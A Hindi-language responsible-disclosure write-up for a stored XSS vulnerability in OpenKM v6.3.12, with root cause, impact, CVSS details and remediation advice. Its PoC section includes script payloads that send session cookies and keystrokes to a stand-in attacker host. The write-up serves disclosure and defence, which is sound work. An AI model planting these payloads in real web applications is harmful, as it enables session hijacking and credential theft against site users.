
CVE-2026-30503 का विस्तृत खुलासा, OpenKM v6.3.12 में एक संग्रहीत XSS कमजोरी। इसमें मूल कारण विश्लेषण, PoC पेलोड, प्रभाव आकलन, और सुरक्षा शोधकर्ताओं और पेंटेस्टर्स के लिए सुधारात्मक सिफारिशें शामिल हैं।
द्वारा खोजा गया और रिपोर्ट किया गया धर्मेंद्र कुमार — सुरक्षा शोधकर्ता
साइबर सुरक्षा | पैठ परीक्षण | भेद्यता अनुसंधान | जिम्मेदार प्रकटीकरण
यह रिपॉजिटरी CVE-2026-30503 के जिम्मेदार प्रकटीकरण का दस्तावेजीकरण करती है, जो OpenKM v6.3.12 में पहचाना गया एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता है — एक ओपन-सोर्स दस्तावेज़ प्रबंधन प्रणाली जो उद्यम वातावरण में व्यापक रूप से उपयोग की जाती है।
यह भेद्यता एक प्रमाणित हमलावर को एप्लिकेशन में स्थायी दुर्भावनापूर्ण JavaScript इंजेक्ट करने की अनुमति देती है, जो किसी भी उपयोगकर्ता (प्रशासकों सहित) के ब्राउज़र संदर्भ में निष्पादित होती है जो बाद में प्रभावित सामग्री देखता है।
⚠️ गंभीरता: उच्च | हमला वेक्टर: नेटवर्क | आवश्यक विशेषाधिकार: निम्न | उपयोगकर्ता सहभागिता: आवश्यक
| फ़ील्ड | विवरण |
|---|---|
| CVE आईडी | CVE-2026-30503 |
| उत्पाद | OpenKM |
| प्रभावित संस्करण | v6.3.12 |
| भेद्यता वर्ग | संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) |
| CWE | CWE-79: इनपुट का वेब पेज जनरेशन के दौरान अनुचित उदासीनीकरण |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| शोधकर्ता | धर्मेंद्र कुमार |
| प्रकटीकरण प्रकार | जिम्मेदार / समन्वित |
OpenKM एक मुफ्त और ओपन-सोर्स दस्तावेज़ प्रबंधन प्रणाली (DMS) है जो व्यावसायिक दस्तावेज़ों के प्रबंधन, ऑडिटिंग और वितरण के लिए एक वेब इंटरफ़ेस प्रदान करती है। इसका उपयोग दुनिया भर में उद्यमों, सरकारी निकायों और शैक्षणिक संस्थानों द्वारा किया जाता है।
v6.3.12OpenKM v6.3.12 में कई संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यताएं पाई गईं। कम विशेषाधिकार वाला एक प्रमाणित हमलावर एक या अधिक इनपुट फ़ील्ड में मनमाना JavaScript पेलोड इंजेक्ट कर सकता है। ये पेलोड एप्लिकेशन के बैकएंड में स्थायी रूप से संग्रहीत हो जाते हैं और स्वचालित रूप से निष्पादित होते हैं जब भी कोई उपयोगकर्ता — प्रशासकों सहित — प्रभावित पृष्ठ या घटक तक पहुंचता है।
रेफ्लेक्टेड XSS के विपरीत, जिसमें पीड़ित को एक तैयार लिंक पर क्लिक करना होता है, संग्रहीत XSS पेलोड एप्लिकेशन में ही एम्बेडेड होते हैं, जिससे वे काफी अधिक खतरनाक और स्थायी हो जाते हैं।
यह भेद्यता एप्लिकेशन की इनपुट प्रबंधन पाइपलाइन में तीन संयुक्त कमजोरियों से उत्पन्न होती है:
उपयोगकर्ता इनपुट ──► [कोई सत्यापन नहीं] ──► DB में संग्रहीत ──► [कोई आउटपुट एन्कोडिंग नहीं] ──► ब्राउज़र में प्रस्तुत ──► XSS निष्पादित
| कमज़ोरी | विवरण |
|---|---|
| ❌ इनपुट सत्यापन का अभाव | एप्लिकेशन उपयोगकर्ता द्वारा प्रदान किए गए फ़ील्ड में विशेष वर्णों (<, >, ", ', ;) को प्रतिबंधित या सैनिटाइज़ नहीं करता है |
| ❌ आउटपुट एन्कोडिंग का अभाव | संग्रहीत मानों को HTML-एंटिटी एन्कोडिंग के बिना सीधे HTML में प्रस्तुत किया जाता है |
| ❌ असुरक्षित DOM रेंडरिंग | उपयोगकर्ता द्वारा प्रदान किया गया डेटा बिना CSP या सैनिटाइज़ेशन नियंत्रण के DOM संदर्भ में एम्बेड किया जाता है |
इस भेद्यता के सफल शोषण से निम्नलिखित हो सकता है:
| जोखिम | विवरण |
|---|---|
| 🍪 सत्र अपहरण | document.cookie एक्सफ़िल्ट्रेशन के माध्यम से प्रमाणित सत्र टोकन चुराना |
| 👤 खाता अधिग्रहण | प्रशासक खातों सहित पीड़ित खातों से समझौता करना |
| 🔐 क्रेडेंशियल हार्वेस्टिंग | लॉगिन क्रेडेंशियल कैप्चर करने के लिए फ़िशिंग फ़ॉर्म इंजेक्ट करना |
| 📤 डेटा एक्सफ़िल्ट्रेशन | DMS से संवेदनशील दस्तावेज़ या मेटाडेटा चुपचाप निकालना |
| ⚙️ अनधिकृत कार्य | पीड़ित की ओर से विशेषाधिकार प्राप्त संचालन करना (दस्तावेज़ हटाना/संशोधित करना) |
| 🎯 प्रशासक लक्ष्यीकरण | जब कोई प्रशासक सामग्री की समीक्षा करता है तो पेलोड प्रशासन पैनल में निष्पादित होता है |
| 🔄 वर्म प्रसार | स्व-प्रतिकृति XSS पेलोड उपयोगकर्ताओं में फैल सकता है |
⚠️ अस्वीकरण: यह PoC केवल जिम्मेदार प्रकटीकरण के सिद्धांतों के तहत शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए साझा किया गया है। उन सिस्टमों के विरुद्ध इसका उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
// मूल PoC — स्क्रिप्ट निष्पादन प्रदर्शित करता है
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// सत्र टोकन एक्सफ़िल्ट्रेशन
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// कीलॉगर इंजेक्शन
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| सिफारिश | कार्यान्वयन |
|---|---|
| ✅ इनपुट सत्यापन | अनुमत वर्णों की श्वेतसूची बनाएं; सभी उपयोगकर्ता इनपुट पर HTML विशेष वर्णों को अस्वीकार या हटाएं |
| ✅ आउटपुट एन्कोडिंग | HTML में डेटा प्रस्तुत करने से पहले संदर्भ-जागरूक HTML एन्कोडिंग (जैसे, OWASP Java Encoder) का उपयोग करें |
| ✅ सामग्री सुरक्षा नीति (CSP) | एक सख्त CSP हेडर लागू करें: Content-Security-Policy: script-src 'self' |
| ✅ HTTPOnly और सुरक्षित कुकीज़ | सभी सत्र कुकीज़ पर HttpOnly और Secure फ़्लैग सेट करें ताकि JavaScript पहुंच को रोका जा सके |
| ✅ सुरक्षा लाइब्रेरी का उपयोग | HTML सैनिटाइज़ेशन के लिए OWASP AntiSamy या DOMPurify को एकीकृत करें |
| ✅ सुरक्षा कोड समीक्षा | असैनिटाइज़्ड उपयोगकर्ता-नियंत्रित डेटा के लिए सभी रेंडर पथों का ऑडिट करें |
| ✅ अपग्रेड | नवीनतम विक्रेता-प्रदत्त पैच लागू करें या पैच किए गए संस्करण में अपग्रेड करें |